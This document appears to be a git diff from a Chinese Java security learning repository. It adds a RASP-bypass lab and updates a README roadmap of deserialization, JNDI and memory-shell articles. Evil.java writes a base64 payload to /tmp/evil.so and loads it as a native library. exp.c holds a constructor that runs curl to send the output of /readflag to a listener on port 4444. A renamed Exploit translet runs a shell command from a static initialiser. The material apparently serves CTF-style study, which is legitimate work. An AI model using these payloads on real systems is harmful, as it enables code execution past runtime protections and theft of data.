DMBwwA0ACkAAADKABQATgAoACoAKwAIAJkAFwAsAC0ADQAAAcQALgAvAAAADAG4ADAAMQABABoBqgAyADMAAgAgAaQANAA1AAMAJwGdADYANwAEADwBiAA4ADkABQBGAX4AOgA7AAYASwF5ADwAKwAHAHwBSAA9AC0ACAB/AUUAKgArAAkAuwEJAD4APwAKAMwA+ABAAD8ACwDUAPAAQQAxAAwA3ADoAEIAMQANAPEA0wBDADcADgEAAMQARAAtAA8BHwClAEUAKwAQAWYAXgBGAEcAEQBIAAAATAAE/wBOAAkHAEkHAEoHAEsHAEwHAE0HAE4HAE8BAQAA+gAn/wAUAA0HAEkHAEoHAEsHAEwHAE0HAE4HAE8BBwAOAQcATwEBAAD4ACoAUAAAAAQAAQBRAAEAUgBTAAEAJwAAAI0ABQAEAAAAJCvHAAUBsCu2AA9NLL4EYLwITiwDLQMsvrgAEC0tvgRkA1QtsAAAAAMAKAAAAB4ABwAAADcABAA4AAYAOgALADsAEgA8ABsAPQAiAD4AKQAAACoABAAAACQALgAvAAAAAAAkAFQAVQABAAsAGQBWAC0AAgASABIAVwAtAAMASAAAAAMAAQYAAQBYAAAAAgBZ
+
+
+
+
\ No newline at end of file
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/example/Evil.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/example/Evil.java"
new file mode 100644
index 00000000..794ef563
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/com/example/Evil.java"
@@ -0,0 +1,14 @@
+package com.example;
+
+import java.nio.file.Files;
+import java.nio.file.Paths;
+import java.util.Base64;
+
+public class Evil {
+ public Evil() throws Exception {
+ String data = "PAYLOAD";
+ String filename = "/tmp/evil.so";
+ Files.write(Paths.get(filename), Base64.getDecoder().decode(data));
+ System.load(filename);
+ }
+}
\ No newline at end of file
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/evilso/exp.c" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/evilso/exp.c"
new file mode 100644
index 00000000..5188fe0b
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/java/evilso/exp.c"
@@ -0,0 +1,7 @@
+#include
+#include
+#include
+
+__attribute__ ((__constructor__)) void preload (void){
+ system("curl host.docker.internal:4444 -d \"`/readflag`\"");
+}
\ No newline at end of file
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..5d92c34d
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ bypass
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..53e80bdb
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $bypass
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/bypass/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/pom.xml"
new file mode 100644
index 00000000..35e7a9b5
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/pom.xml"
@@ -0,0 +1,22 @@
+
+ 4.0.0
+ org.example
+ java_rasp
+ 1.0-SNAPSHOT
+ pom
+ Archetype - java_rasp
+ http://maven.apache.org
+
+ agent
+ RCE-Test
+ bypass
+
+
+
+ org.javassist
+ javassist
+ 3.27.0-GA
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/META-INF/maven/archetype.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/META-INF/maven/archetype.xml"
new file mode 100644
index 00000000..f4586db1
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/META-INF/maven/archetype.xml"
@@ -0,0 +1,9 @@
+
+ java_rasp
+
+ src/main/java/App.java
+
+
+ src/test/java/AppTest.java
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/pom.xml" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/pom.xml"
new file mode 100644
index 00000000..e2e9e655
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/pom.xml"
@@ -0,0 +1,15 @@
+
+ 4.0.0
+ $org.example
+ $java_rasp
+ 1ドル.0-SNAPSHOT
+
+
+ junit
+ junit
+ 3.8.1
+ test
+
+
+
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/main/java/App.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/main/java/App.java"
new file mode 100644
index 00000000..1fa6a956
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/main/java/App.java"
@@ -0,0 +1,13 @@
+package $org.example;
+
+/**
+ * Hello world!
+ *
+ */
+public class App
+{
+ public static void main( String[] args )
+ {
+ System.out.println( "Hello World!" );
+ }
+}
diff --git "a/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/test/java/AppTest.java" "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/test/java/AppTest.java"
new file mode 100644
index 00000000..65be417e
--- /dev/null
+++ "b/JavaSecurity/344円272円247円345円223円201円345円274円200円345円217円221円/Java_Rasp/java_rasp/src/main/resources/archetype-resources/src/test/java/AppTest.java"
@@ -0,0 +1,38 @@
+package $org.example;
+
+import junit.framework.Test;
+import junit.framework.TestCase;
+import junit.framework.TestSuite;
+
+/**
+ * Unit test for simple App.
+ */
+public class AppTest
+ extends TestCase
+{
+ /**
+ * Create the test case
+ *
+ * @param testName name of the test case
+ */
+ public AppTest( String testName )
+ {
+ super( testName );
+ }
+
+ /**
+ * @return the suite of tests being tested
+ */
+ public static Test suite()
+ {
+ return new TestSuite( AppTest.class );
+ }
+
+ /**
+ * Rigourous Test :-)
+ */
+ public void testApp()
+ {
+ assertTrue( true );
+ }
+}
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml"
new file mode 100644
index 00000000..b107a2dd
--- /dev/null
+++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/Serialable.iml"
@@ -0,0 +1,11 @@
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java"
similarity index 88%
rename from "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java"
rename to "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java"
index e2742391..b987db64 100644
--- "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Calc.java"
+++ "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/Serialable/src/DynamicClassLoader/URLClassLoader/Exploit.java"
@@ -9,10 +9,10 @@
import java.io.IOException;
// 弹计算器的万能类
-public class Calc extends AbstractTranslet {
+public class Exploit extends AbstractTranslet {
static {
try {
- Runtime.getRuntime().exec("calc");
+ Runtime.getRuntime().exec("touch /tmp/success");
} catch (IOException e){
e.printStackTrace();
}
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/ClassLoaderPackage/Person.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/ClassLoaderPackage/Person.class"
index 3ef31682..c8abe001 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/ClassLoaderPackage/Person.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/ClassLoaderPackage/Person.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class"
similarity index 60%
rename from "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class"
rename to "JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class"
index e4f67258..c5e7562e 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Calc.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/DynamicClassLoader/URLClassLoader/Exploit.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/GetFileInfo.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/GetFileInfo.class"
index b55ed294..db1bc65d 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/GetFileInfo.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/IOStream/GetFileInfo.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserProxyInvocationHandler.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserProxyInvocationHandler.class"
index f751bff8..5634f91e 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserProxyInvocationHandler.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserProxyInvocationHandler.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserServiceImpl.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserServiceImpl.class"
index 57b4c457..863133a7 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserServiceImpl.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/DynamicProxy/UserServiceImpl.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceImpl.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceImpl.class"
index 542832be..084abe8e 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceImpl.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceImpl.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceProxy.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceProxy.class"
index de7f2fa0..c616ef77 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceProxy.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/MoreStaticProxy/UserServiceProxy.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Host.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Host.class"
index c970cc73..d5f4bfef 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Host.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Host.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Proxy.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Proxy.class"
index 1b06beb7..cfb912d5 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Proxy.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/JdkProxy/StaticProxy/Proxy.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/Person.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/Person.class"
index 95e92047..ec67a9ec 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/Person.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/Person.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest02.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest02.class"
index bfccc852..94202dbe 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest02.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest02.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest03.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest03.class"
index 0808d2d9..ba9b56a2 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest03.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest03.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest04.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest04.class"
index 932b9cfc..4e38c62e 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest04.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest04.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest05.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest05.class"
index 1b3570c9..0928152e 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest05.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest05.class" differ
diff --git "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest06.class" "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest06.class"
index df92ab4e..b889bbc6 100644
Binary files "a/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest06.class" and "b/JavaSecurity/345円217円215円345円272円217円345円210円227円345円214円226円345円237円272円347円241円200円/Reappearance/out/production/Reappearance/src/ReflectDemo/SeralizeDemo/ReflectionTest06.class" differ
diff --git a/README.md b/README.md
index 96090ddb..cf91ebbc 100644
--- a/README.md
+++ b/README.md
@@ -1,16 +1,8 @@
-> 如果师傅们看到有好的文章,也欢迎 pr,一起分享在这个 repo 中
->
-> 详细项目代码在 JavaSecurity 文件夹中
-
# JavaSecurityLearning
-设计项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,而不是一头雾水的学,希望师傅们通过这个项目学习 Java 安全时有能够所收获。
-
-项目文件夹中包含了部分用于漏洞调试的代码,对应文章记录在博客。
-
-## Ref:
+项目的初衷是为了让更多师傅在学习 Java 安全的时候能够有一条比较清晰的学习路线,也希望师傅们通过这个项目学习 Java 安全时有能够所收获。
- https://github.com/Y4tacker/JavaSec
+项目文件夹中包含了部分用于漏洞调试的代码(如果有些东西自己搭建失败,可以复用仓库代码),对应文章记录在博客中。
## 基础开发(是一定要学的)
@@ -20,13 +12,13 @@
学完这两个之后可以自己过一个小项目[【实战】基于SpringBoot+Vue开发的前后端分离博客项目完整教学](https://www.bilibili.com/video/BV1PQ4y1P7hZ?vd_source=a4eba559e280bf2f1aec770f740d0645)
-- 学完这些内容最多花费两个月时间。
+- 学完这些内容最多花费两个月
推荐的 Java 基础,哪块不懂看哪块,[二倍速【狂神说Java】Java零基础学习视频通俗易懂](https://www.bilibili.com/video/BV12J41137hu?spm_id_from=333.337.search-card.all.click)
## Java 安全基础
-可以看b站白日梦组长的视频,讲的非常好
+可以看b站白日梦组长视频,讲的非常好。
- [Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)](https://www.bilibili.com/video/BV16h411z7o9?spm_id_from=333.788.top_right_bar_window_custom_collection.content.click)
- [Java-IO流](https://drun1baby.github.io/2022/05/30/Java-IO流/)
@@ -38,7 +30,7 @@
- [反弹shell学习 ———— 这里主要是为了 yso 的使用](https://drun1baby.github.io/2022/07/20/反弹shell学习/)
- [Java 反弹 shell 与 Runtime.getRuntime().exec() 的故事](https://drun1baby.github.io/2022/10/12/Java-反弹-shell-与-Runtime-getRuntime-exec-的故事/)
-一开始学还是会有点懵的,学到后面自然而然就会了
+一开始学还是会有点懵的,学到后面自然而然就会了。
## Java 反序列化基础
@@ -73,6 +65,8 @@ CC 链部分结束,进入 shiro 部分,shiro 之前我们已经走过开发
- [Shiro550流程分析](https://drun1baby.github.io/2022/07/10/Java反序列化Shiro篇01-Shiro550流程分析/)
- [02-Shiro721流程分析](https://drun1baby.top/2023/03/08/Java反序列化Shiro篇02-Shiro721流程分析/)
+后面根据自己需求可以补 Shiro 权限绕过的部分。
+
## Java 反序列化进阶
- 这块是基础中的基础,但是也很难,要静下心来学的。
@@ -114,8 +108,6 @@ LDAP 是包含在 JNDI 里面的
- [CVE-2021-2109 WebLogic JNDI 注入](https://drun1baby.top/2023/02/12/CVE-2021-2109-WebLogic-JNDI-注入/)
- [WebLogic 弱口令&文件上传&SSRF](https://drun1baby.top/2023/03/06/WebLogic-弱口令-文件上传-SSRF/)
-
-
## EL 表达式注入(本质上还是 OGNL 表达式注入)
- [Java 之 SpEL 表达式注入](https://drun1baby.github.io/2022/09/23/Java-之-SpEL-表达式注入/)
@@ -125,6 +117,7 @@ LDAP 是包含在 JNDI 里面的
## 内存马
关于内存马的环境搭建可以看我这一篇文章:[Servlet 项目搭建](https://drun1baby.github.io/2022/08/22/Servlet-项目搭建/)
+学习完之后最好自己可以用 Java Agent 实现一个 RASP
- [Java反序列化之内存马系列 01-基础内容学习](https://drun1baby.github.io/2022/08/19/Java内存马系列-01-基础内容学习/)
- [Java内存马系列-02-内存马介绍](https://drun1baby.github.io/2022/08/21/Java内存马系列-02-内存马介绍/)
@@ -142,8 +135,12 @@ WebGoat 代码打底 [WebGoat代码审计](https://drun1baby.top/2022/03/17/WebG
详细的**代码审计的文章与资料**,指路 [Java Owasp Top10 审计](https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview/JavaSec-Code)
+Springboot 文件上传 RCE https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks
+
## 查漏补缺
+- 其实链子没必要跟太多了,实战才是最重要的。
+
[Java反序列化之C3P0链](https://drun1baby.github.io/2022/10/06/Java反序列化之C3P0链/)
[Java OWASP 中的 XXE 代码审计](https://drun1baby.github.io/2022/09/16/Java-OWASP-中的-XXE-代码审计/)
@@ -158,6 +155,8 @@ WebGoat 代码打底 [WebGoat代码审计](https://drun1baby.top/2022/03/17/WebG
[Java反序列化Fastjson篇05-写给自己看的一些源码深入分析](https://drun1baby.github.io/2022/10/19/Java反序列化Fastjson篇05-写给自己看的一些源码深入分析/)
+JS 引擎攻防 https://xz.aliyun.com/t/8697
+
## Struts2 系列漏洞
这块应该是目前学习的重点之一
@@ -174,19 +173,34 @@ WebGoat 代码打底 [WebGoat代码审计](https://drun1baby.top/2022/03/17/WebG
[Jackson 反序列化(三)CVE-2017-17485](https://drun1baby.top/2023/12/07/Jackson-反序列化(三)CVE-2017-17485/)
+Jackson 反序列化 —— https://boogipop.com/2023/06/20/Jackson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%80%9A%E6%9D%80Web%E9%A2%98/
+
+## Apache
+
+### Apache DolphinScheduler
+
+CVE-2023-49299 & CVE-2024-23320 & CVE-2023-49109 漏洞概述:https://xz.aliyun.com/t/13981
+
+### Apache Ofbiz
+
+https://y4tacker.github.io/2023/12/27/year/2023/12/Apache-OFBiz%E6%9C%AA%E6%8E%88%E6%9D%83%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%B5%85%E6%9E%90-CVE-2023-51467/
+
## CodeQL
+师傅可能在编译的时候还会遇到一些问题,然而新版本的 CodeQL 对于 Java 已经不需要编译了
+
[CodeQL 入门](https://drun1baby.top/2023/09/03/CodeQL-%E5%85%A5%E9%97%A8/)
